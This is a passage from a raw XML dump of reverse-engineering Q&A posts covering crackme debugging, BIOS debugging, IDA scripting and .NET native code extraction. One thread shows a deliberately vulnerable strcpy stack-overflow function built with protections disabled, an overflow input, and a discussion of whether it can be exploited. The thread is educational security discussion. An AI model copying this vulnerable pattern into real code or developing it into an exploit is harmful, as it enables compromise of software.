str.Invalid_Password__n ; &quot;Invalid Password!.&quot; @ 0x804857f&#xA;|      |    0x08048468      e8affeffff     calll sym.imp.printf&#xA;|      |    ; JMP XREF from 0x0804845f (sym.main)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since I am not yet familiar with &lt;code&gt;radare2&lt;/code&gt;, I put a breakpoint in &lt;code&gt;gdb&lt;/code&gt; after the &lt;code&gt;scanf (0x0804842b)&lt;/code&gt;, and inspected the local variables. It seems that neither they, neither the address they are pointing to are the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two questions regarding this &lt;code&gt;crackme&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Where is located the entered password?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I do not understand what I get here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Breakpoint 1, 0x0804843c in main ()&#xA;(gdb) x/4x $ebp-8&#xA;0xffffd1b0:    0x00000000    0x08048330    0x00000000    0xf7e1a72e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;because in &lt;code&gt;gdb x/4x&lt;/code&gt; usually prints 4 bytes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13970" LastEditorUserId="53" LastEditDate="2015-12-20T12:54:29.090" LastActivityDate="2017-07-06T22:32:48.080" Title="Help with IOLI crackme0x02" Tags="|gdb|crackme|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11603" PostTypeId="2" ParentId="11588" CreationDate="2015-12-20T12:51:18.697" Score="3" Body="&lt;p&gt;You can use register names as offset of course.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jvoisin@kaa 13:48 ~ r2 -d /bin/ls&#xA;Process with PID 3963 started...&#xA;Attached debugger to pid = 3963, tid = 3963&#xA;Debugging pid = 3963, tid = 3963 now&#xA;Using BADDR 0x400000&#xA;Assuming filepath /bin/ls&#xA;bits 64&#xA;Attached debugger to pid = 3963, tid = 3963&#xA; -- I did it for the pwnz.&#xA;[0x7fc7e0a02cd0]&amp;gt; db main&#xA;[0x7fc7e0a02cd0]&amp;gt; dc&#xA;hit breakpoint at: 4028a0&#xA;Debugging pid = 3963, tid = 1 now&#xA;[0x004028a0]&amp;gt; px 8 @ rsp&#xA;- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x7ffc0cb65198  40ba 22e0 c77f 0000                      @.&quot;.....        &#xA;[0x004028a0]&amp;gt; px 8 @ rsp + 4&#xA;- offset -       0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;0x7ffc0cb6519c  c77f 0000 7852 b60c                      ....xR..        &#xA;[0x004028a0]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Feel free to check the output of &lt;code&gt;p?&lt;/code&gt; if you want to dump the data as strings/numbers/float/timestamps/hexdump/…&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-12-20T12:51:18.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11604" PostTypeId="2" ParentId="11602" CreationDate="2015-12-20T14:15:12.087" Score="1" Body="&lt;p&gt;If you take a look at what happens before &lt;code&gt;scanf&lt;/code&gt;, you'll see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080483e4]&amp;gt; pd 4 @ 0x08048418&#xA;│           0x08048418      8d45fc         lea eax, [ebp-local_1]&#xA;│           0x0804841b      89442404       mov dword [esp + 4], eax&#xA;│           0x0804841f      c704246c8504.  mov dword [esp], 0x804856c  ; [0x804856c:4]=0x50006425 &#xA;│           0x08048426      e8e1feffff     call sym.imp.scanf&#xA;[0x080483e4]&amp;gt; psz @ 0x804856c&#xA;%d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x804856c&lt;/code&gt; being the address of the format string (here, &lt;code&gt;%d&lt;/code&gt;), and &lt;code&gt;ebp-local_1&lt;/code&gt; the offset where your result is stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for you &lt;code&gt;x/4x&lt;/code&gt; issue, radare2 will print you 4 words, in hex, namely &lt;code&gt;0x00000000    0x08048330    0x00000000    0xf7e1a72e&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-12-20T14:15:12.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11605" PostTypeId="2" ParentId="11597" CreationDate="2015-12-20T14:18:20.877" Score="11" Body="&lt;p&gt;Also &lt;code&gt;axt&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use like &lt;code&gt;axt @ hello_world_n&lt;/code&gt; gives you the reference.&lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2015-12-20T14:18:20.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11606" PostTypeId="1" AcceptedAnswerId="11607" CreationDate="2015-12-21T02:27:46.770" Score="4" ViewCount="1953" Body="&lt;p&gt;I am trying to reverse engineer a firmkit in a bios, but in general I would like to know how can I debug a bios better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a way to attach IDA to a vmware instance usign a GDB session &lt;a href=&quot;https://cyberview.wordpress.com/2010/09/16/debugging-bios-under-vmware-using-idas-gdb-debugger/&quot; rel=&quot;nofollow&quot;&gt;GDB Debugging With VMware&lt;/a&gt;, but it seems like I am always racing to against the bios and boot up of the VM. I am wanting to have it stop in a place that I can follow and make sense of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, What are some better practices when debugging a bios? Is IDA a decent debugger for this task? Is there something more meant for this task? Any other ideas are welcome also, I am really wanting to focus on reversing malware that is written to the bios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2015-12-21T03:45:48.427" Title="How Can I Debug A Bios Better" Tags="|ida|debugging|gdb|bios|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11607" PostTypeId="2" ParentId="11606" CreationDate="2015-12-21T03:45:48.427" Score="2" Body="&lt;p&gt;You can try running your BIOS in QEMU. QEMU's &lt;code&gt;-S&lt;/code&gt; option will pause boot until a debugger (gdb) is attached. IDA's debugger apparently works fine with QEMU, according to this article: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/debugging_gdb_qemu.pdf&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/support/tutorials/debugging_gdb_qemu.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2015-12-21T03:45:48.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11608" PostTypeId="2" ParentId="11601" CreationDate="2015-12-21T11:04:52.303" Score="5" Body="&lt;p&gt;The valid answer to this problem is in the fact that python script and the debugger execution flows perform asynchornously. So each time we ask the debugger to do a step_into(), we also need to wait for this process to end.&#xA;This can be done by inserting GetDebuggerEvent(WFNE_SUSP, -1) after step_into&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;&#xA;x=0&#xA;while x&amp;lt;10:&#xA;    idaapi.step_into()&#xA;    GetDebuggerEvent(WFNE_SUSP, -1)      &#xA;    rv = idaapi.regval_t()&#xA;    print idaapi.get_reg_val('EIP',rv)&#xA;    ea = rv.ival&#xA;    print hex(ea)&#xA;    x+=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14453" LastActivityDate="2015-12-21T11:04:52.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11609" PostTypeId="1" AcceptedAnswerId="11610" CreationDate="2015-12-21T20:32:56.793" Score="3" ViewCount="357" Body="&lt;p&gt;I have been discussing the effectiveness of GNU libc's &lt;code&gt;fclose()&lt;/code&gt; function to thwart successful exploitation of trivial vulnerabilities due to segmentation fault when called without a valid pointer to a FILE data structure (implementations of libc on other operating systems fail silently). For instance, given a simple vulnerable function using &lt;code&gt;strcpy()&lt;/code&gt; such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;void&#xA;foo(const char *str)&#xA;{&#xA;  char buffer[256];&#xA;  int ret = 123456;&#xA;&#xA;  FILE *fp = tmpfile();&#xA;  strcpy(buffer, str);&#xA;  if (ret != 500)&#xA;    fclose(fp);&#xA;}&#xA;&#xA;int &#xA;main(int argc, const char **argv)&#xA;{&#xA;  foo(argv[1]);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even when compiled with most memory-protection mechanisms disabled:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cc -m32 -ggdb -fno-stack-protector -z execstack -z norelro main.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function, regardless of being overwritten up to &lt;code&gt;EIP&lt;/code&gt; would never return since:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) r $(python -c &quot;print 'A' * 286&quot;)&#xA;Program received signal SIGSEGV, Segmentation fault.&#xA;0xf7e3e307 in fclose@@GLIBC_2.1 () from /lib/libc.so.6&#xA;(gdb) ba&#xA;#0  0xf7e3e307 in fclose@@GLIBC_2.1 () from /lib/libc.so.6&#xA;#1  0x080484bc in foo (str=0x41414141 &amp;lt;error: Cannot access memory...&#xA;#2  0x41414141 in ?? ()&#xA;#3  0x41414141 in ?? ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could there be a way to achieve code execution for such trivial function?. Since the &lt;code&gt;ret&lt;/code&gt; variable can be overwritten, can it be set to 500 so that the if condition which determines if &lt;code&gt;fclose()&lt;/code&gt; is called or not could be bypassed?&lt;/p&gt;&#xA;" OwnerUserId="14483" LastEditorUserId="53" LastEditDate="2015-12-21T20:34:38.323" LastActivityDate="2015-12-21T20:44:03.087" Title="Exploitability of Stack-based Buffer Overflows on functions ending with fclose()" Tags="|static-analysis|exploit|libc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11610" PostTypeId="2" ParentId="11609" CreationDate="2015-12-21T20:44:03.087" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Since the &lt;code&gt;ret&lt;/code&gt; variable can be overwritten, can it be set to 500 so&#xA;  that the if condition which determines if &lt;code&gt;fclose()&lt;/code&gt; is called or not&#xA;  could be bypassed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If the attacker can overwrite the &lt;code&gt;ret&lt;/code&gt; variable on the stack with an arbitrary value, then yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And even if the attacker can't overwrite &lt;code&gt;ret&lt;/code&gt;, they still might be able to overwrite &lt;code&gt;fp&lt;/code&gt; with a value that is acceptable to &lt;code&gt;fclose()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, your approach relies on several implementation-specific details. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You assume that &lt;code&gt;fp&lt;/code&gt; is between &lt;code&gt;buffer&lt;/code&gt; and the return address, but the compiler may not order the variables this way.&lt;/li&gt;&#xA;&lt;li&gt;You assume that &lt;code&gt;fclose()&lt;/code&gt; will always throw an exception when given a corrupted pointer, however &lt;a href=&quot;http://www.cplusplus.com/reference/cstdio/fclose/&quot; rel=&quot;nofollow&quot;&gt;this is not a requirement&lt;/a&gt; and may change in future versions of GNU libc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-12-21T20:44:03.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11612" PostTypeId="1" CreationDate="2015-12-22T04:07:14.697" Score="1" ViewCount="278" Body="&lt;p&gt;I have access to a few thousand binary files and I don't have the program that generated them. The files have been parsed and I also have access to the database where the parsed fields are stored. How can I reverse engineer the format of the files, given this information?&lt;/p&gt;&#xA;" OwnerUserId="13730" LastEditorUserId="13730" LastEditDate="2015-12-22T07:50:45.970" LastActivityDate="2015-12-22T09:34:21.273" Title="Given the files and their parsed content how can I reverse engineer the file format?" Tags="|file-format|" AnswerCount="2" CommentCount="0" ClosedDate="2015-12-22T17:32:10.880" ContentLicense="CC BY-SA 3.0" />
  <row Id="11613" PostTypeId="2" ParentId="11612" CreationDate="2015-12-22T09:33:12.610" Score="1" Body="&lt;p&gt;First of all, the question is too broad. Examples would help a lot. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an algorithm I'd start with without specific knowledge about files.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First of all I'd try to answer to the question is it standard format. Using linux &lt;a href=&quot;https://en.wikipedia.org/wiki/File_(command)&quot; rel=&quot;nofollow&quot;&gt;file&lt;/a&gt; utility on the files may help. If this file appears to be standard I'd try to find documentation on the format and/or to reverse engineer a tool that works with it.&lt;/li&gt;&#xA;&lt;li&gt;If the format is not standard I'd try to check the structure of the file. Does all the binaries have similar header ? If yes, where are they differ ? Is it related to file size, number if entities in it, creation date, modification date, etc ?&lt;/li&gt;&#xA;&lt;li&gt;After that I'd start to dissect this files to elementary types. Searching for strings related to the data may help to understand a lot. Searching for known values (rarely occurring integer constants for example) may help to connect between these constants and their locations in the file.&lt;/li&gt;&#xA;&lt;li&gt;After that I'd try to find almost similar files. Where are the differences ? How this differences related to the data ? If you have a file with a small amount of known differences, you can make binary diff and see where exactly these differences stored.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After performing all these actions you'll probably enough information to ask more specific questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-12-22T09:33:12.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11614" PostTypeId="2" ParentId="11612" CreationDate="2015-12-22T09:34:21.273" Score="3" Body="&lt;p&gt;Short answer: You can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files may be encrypted. If the encryption is strong, the implementors didn't make any stupid mistakes, and the key is hidden in the original binary, then there's no way to match your files to the readable content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Longer answer: It might not be that bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, try to find out some general information about the files. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Do they all have the same size, or are the sizes different? If the sizes are different, might that be explained by the file contents, or would you expect all sizes to be equal? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible the files are compressed? Try making a .zip of them. If zip is unable to compress them, they probably already are; in this case, try to find out which algorithm has been used on them. &lt;a href=&quot;http://binwalk.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Binwalk&lt;/a&gt;  might be helpful for that (the web site says firmware analysis, but it will recognize many compressed file formats just fine). If they are compressed, and you can't find out the algorithm/decompress them, you're stuck.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open some of the files in a hex editor, and/or run the strings utility over them. Do the files have parts that look readable?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try matching file names, or file contents you identified, to database rows. Knowing what is in a file helps a lot in identifying specific content.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If all of the files have the same size, or almost the same size, try finding out which parts are equal between them and which are different. I did something similar on different blocks of the same file in my answer &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11126/how-to-identify-the-structure-of-this-specific-data-file/11128#11128&quot;&gt;here&lt;/a&gt;, this might get you started.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If there are some numbers that you think should be in a file, convert them to integer/long/float/double representation, and search for these bytes in a hex editor. Repeat with a few different files. With a bit of luck, you'll find the same information at the same file offset, or in a part of the file that's identifyable, in a few cases.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you can (copyright issues etc.) tell us the name of the software, and upload some example files together with their decoded content. A forum member might know the software, or recognize the file format. And some of use just like this kind of challenge as well.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-12-22T09:34:21.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11615" PostTypeId="1" CreationDate="2015-12-22T12:54:49.367" Score="1" ViewCount="377" Body="&lt;p&gt;I'm working to adapt an stress excercise test software so that it can work with a treadmill that uses a different communication protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The communicate via a RS232 cable, with a USB-RS232 adapting device on the laptop end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a pair of virtual ports using com0com and have written a program in VB (using Visual Studio) that can open, read and write on the virtual ports. The purpose being that the program can work as a translator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the treadmill protocol but not the software one, so I'm trying to listen to what the software tells to the virtual port and figure out what protocol it's using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this option viable? Are there any further reading material / software I could use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only messages I got sof far were:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;?&quot; when first running the test&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;ìù 015ñ 000&quot; when I set the treadmill on/off&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I don't answer, the software displays the message &quot;treadmill failed&quot;. If I send any array of characters, it doesn't display the message and appears to start the test.&lt;/p&gt;&#xA;" OwnerUserId="14486" LastActivityDate="2015-12-22T12:54:49.367" Title="How can I figure out what serial port communication protocol is a software using?" Tags="|serial-communication|protocol|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11617" PostTypeId="1" AcceptedAnswerId="11622" CreationDate="2015-12-24T01:54:38.117" Score="8" ViewCount="3476" Body="&lt;p&gt;This is seriously one question I couldn't find the answer to anywhere on Google.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I mean mixed mode I mean .NET application which has unmanaged and managed code together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used tools&#xA;.NET Reflector 6 that crashes on native methods or shows only signature to them.&#xA;Also used dnEditor v0.76 beta which doesn't ever crash but also doesn't show any native x86 assembly for the areas it couldn't decompile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get code like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[SuppressUnmanagedCodeSecurity]&#xA;[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig)]&#xA;public unsafe static extern byte WritePointer(uint uint_1, void* pVoid_1, int int_4, int int_5, __arglist);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet no way to see the x86 assembly for this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about injecting this dll file to a application then attaching ollydbg to it so I could dump the dll file and check it out in IDA PRO but this also doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA PRO 6.8 by default doesn't even load mixed .NET programs as both .NET IL Code and decompilable native asm..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran out of options here, I'll try getting a real dll file and nopping it out somewhere in the middle and pasting the binary there maybe this way IDA PRO would detect it as a unmanaged dll file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But ya I ask you any tools to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="3510" LastActivityDate="2015-12-24T14:43:54.767" Title="How to retrieve native asm code from .NET mixed mode dll file?" Tags="|assembly|decompile|.net|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11619" PostTypeId="1" CreationDate="2015-12-24T06:45:44.927" Score="1" ViewCount="315" Body="&lt;p&gt;Last night I was extending functionality of HexRaysCodeXplorer - implemented feature to automatically rename duplicating variables. It needs some fixes to work well, but the problem I cannot cope with is - how to preserve lvar names?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it works:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qZJUo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qZJUo.png&quot; alt=&quot;Before&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BLaeM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BLaeM.png&quot; alt=&quot;After&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These names do exist only till end of current Ida session. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read about Ida's netnodes, but I don't think it's rational to store lvar names in this container and do renaming at the start of every session. I suspect there is some native way to preserve essential information (like in this case), but I cannot find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I had to analyse c-tree, I used HexRays classes like: &lt;code&gt;ctree_visitor_t&lt;/code&gt;, &lt;code&gt;cfuncptr_t&lt;/code&gt; and &lt;code&gt;lvar_t&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14505" LastEditorUserId="53" LastEditDate="2015-12-25T19:07:33.503" LastActivityDate="2015-12-25T19:07:33.503" Title="IDA/Hexrays SDK: how to preserve lvar names?" Tags="|ida|hexrays|idapro-sdk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11620" PostTypeId="1" AcceptedAnswerId="13317" CreationDate="2015-12-24T07:49:17.627" Score="3" ViewCount="1023" Body="&lt;p&gt;I'm using a &lt;a href=&quot;https://github.com/gdbinit/Gdbinit&quot; rel=&quot;nofollow&quot;&gt;.gdbinit file&lt;/a&gt; that is supposed to print the values of all registers at every hook_stop, followed by the stack and data frames.  However, when running many programs, there are often segment registers that are unavailable, which is causing me problems. The script aborts when it encounters such a register.  I get the error message: &lt;code&gt;Error while running hook_stop: value is not available&lt;/code&gt;.  Because of the error, none of the remaining segment registers are printed, nor are the stack and data frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know if there is a way to handle the error in the gdb scripting language, or better yet, just test if a register is available, and only print it if it is.  I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if $ds&#xA;    printf &quot; %04X  &quot;, $ds&#xA;else&#xA;    printf &quot; ----  &quot;&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that's still giving me the error.  I read through the docs for hours and couldn't find anything that worked.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="14504" LastActivityDate="2016-08-19T15:32:56.130" Title="How to test if register value is unavailable in gdb?" Tags="|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11621" PostTypeId="1" CreationDate="2015-12-24T12:29:22.107" Score="2" ViewCount="2977" Body="&lt;p&gt;What is the purpose of &lt;code&gt;COERCE_FLOAT&lt;/code&gt; and &lt;code&gt;COERCE_UNSIGNED_INT&lt;/code&gt; macros in the Hex Rays decompiled code below?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;double __cdecl sub_401580(float a1)&#xA;{&#xA;  unsigned int v1; // eax@1&#xA;  double v2; // st7@1&#xA;  float v4; // [sp+10h] [bp+4h]@1&#xA;  float v5; // [sp+10h] [bp+4h]@1&#xA;&#xA;  v1 = LODWORD(a1) &amp;amp; 0x80000000;&#xA;  v4 = 1.273239493370056 * a1 - a1 * 0.4052847325801849 * COERCE_FLOAT(LODWORD(a1) &amp;amp; 0x7FFFFFFF);&#xA;  v2 = v4;&#xA;  v5 = v4 * v4;&#xA;  return (float)(v5&#xA;               * ((v5 * COERCE_FLOAT(v1 ^ COERCE_UNSIGNED_INT(-0.0032225901))&#xA;                 + COERCE_FLOAT(v1 | COERCE_UNSIGNED_INT(0.015124941)))&#xA;                * v5&#xA;                + COERCE_FLOAT(v1 | COERCE_UNSIGNED_INT(0.20363937)))&#xA;               + v2 * 0.7844448685646057);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14455" LastEditorUserId="1413" LastEditDate="2015-12-30T19:15:22.493" LastActivityDate="2019-01-17T16:15:58.753" Title="IDA decompiler macro" Tags="|ida|hexrays|decompiler|float|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11622" PostTypeId="2" ParentId="11617" CreationDate="2015-12-24T12:48:04.660" Score="4" Body="&lt;p&gt;The Linked Dll's native method is here you can load the dll directly in ollydbg too to find a resolved disassembly of the native method &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;E:\1dll&gt;ls -l 1.dll&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-rwxr-xr-x    1 Admin    Administ   268288 Dec 24 15:27 1.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;E:\1dll&gt;rahash2 -a md5 1.dll&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1.dll: 0x00000000-0x000417ff md5: 82eab591d8bc6d293a2a07f10a5f6a46&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;E:\1dll&gt;&quot;c:\Program Files\Microsoft SDKs\Windows\v7.0A\bin\ildasm.exe&quot; /text 1.dll | grep -i global.*writepointer -B 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  // Embedded native code&#xA;  // Disassembly of native methods is not supported.&#xA;  //  Managed TargetRVA = 0x00005B20&#xA;} // end of global method WritePointer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;E:\1dll&gt;radare2 -qc &quot;s 0x5b20-0x1000+0x400;af;pdf;&quot; 1.dll&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/ (fcn) fcn.00004f20 135&#xA;|          0x00004f20    51             push ecx&#xA;|          0x00004f21    53             push ebx&#xA;|          0x00004f22    55             push ebp&#xA;|          0x00004f23    56             push esi&#xA;|          0x00004f24    8b742414       mov esi, dword [esp + 0x14]     ; [0x14:4]=0&#xA;|          0x00004f28    57             push edi&#xA;|          0x00004f29    8d442424       lea eax, [esp + 0x24]           ; 0x24  ; '$'&#xA;|          0x00004f2d    6a04           push 4&#xA;|          0x00004f2f    83c004         add eax, 4&#xA;|          0x00004f32    56             push esi&#xA;|          0x00004f33    33db           xor ebx, ebx&#xA;|          0x00004f35    89442418       mov dword [esp + 0x18], eax     ; [0x18:4]=64&#xA;|          0x00004f39    e83c5a0000     call 0xa97a ;0x0000a97a(unk, unk, unk, unk, unk, unk, unk) ; fcn.0000550c+21614&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;radare2 doesn't seem to load the dll properly as an image but seems to load it as a raw file (as in hexeditor view)&#xA;ollydbg will load the dll and will disassemble properly &#xA;radare2 disassembly above and ollydbg disassembly below for the &#xA;embedded native method WritePointer &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Hex dump         Command                                  Comments&#xA;10005B20  /.  51           PUSH    ECX&#xA;10005B21  |.  53           PUSH    EBX                              ; Jump to mscoree._CorDllMain&#xA;10005B22  |.  55           PUSH    EBP&#xA;10005B23  |.  56           PUSH    ESI&#xA;10005B24  |.  8B7424 14    MOV     ESI, DWORD PTR SS:[ESP+14]&#xA;10005B28  |.  57           PUSH    EDI&#xA;10005B29  |.  8D4424 24    LEA     EAX, [ESP+24]&#xA;10005B2D  |.  6A 04        PUSH    4                                ; /Size = 4&#xA;10005B2F  |.  83C0 04      ADD     EAX, 4                           ; |&#xA;10005B32  |.  56           PUSH    ESI                              ; |Addr = 13F8B8&#xA;10005B33  |.  33DB         XOR     EBX, EBX                         ; |&#xA;10005B35  |.  894424 18    MOV     DWORD PTR SS:[ESP+18], EAX       ; |&#xA;10005B39  |.  E8 3C5A0000  CALL    &amp;lt;JMP.&amp;amp;KERNEL32.IsBadReadPtr&amp;gt;     ; \KERNEL32.IsBadReadPtr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;regarding your pastebin &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the pseudo code for the function without inside loop&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;radare2 -c &quot;s 0x5cb0-0x1000+0x400;af;pdc;&quot; 